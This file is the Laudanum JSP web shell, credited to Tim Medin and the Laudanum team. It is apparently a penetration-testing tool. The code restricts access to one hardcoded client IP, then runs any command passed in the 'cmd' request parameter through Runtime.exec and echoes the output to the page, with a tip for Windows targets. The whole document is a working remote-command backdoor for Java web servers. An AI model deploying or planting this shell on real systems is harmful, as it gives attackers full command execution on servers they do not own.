<%@ page import="java.util.*,java.io.*"%> <% if (request.getRemoteAddr() != "4.4.4.4") { response.sendError(HttpServletResponse.SC_NOT_FOUND) return; } %> Laudanum JSP Shell Commands with JSP

If you use this against a Windows box you may need to prefix your command with cmd.exe /c
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "
"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

Copyright © 2012, Kevin Johnson and the Laudanum team.
Written by Tim Medin.
Get the latest version at laudanum.secureideas.net.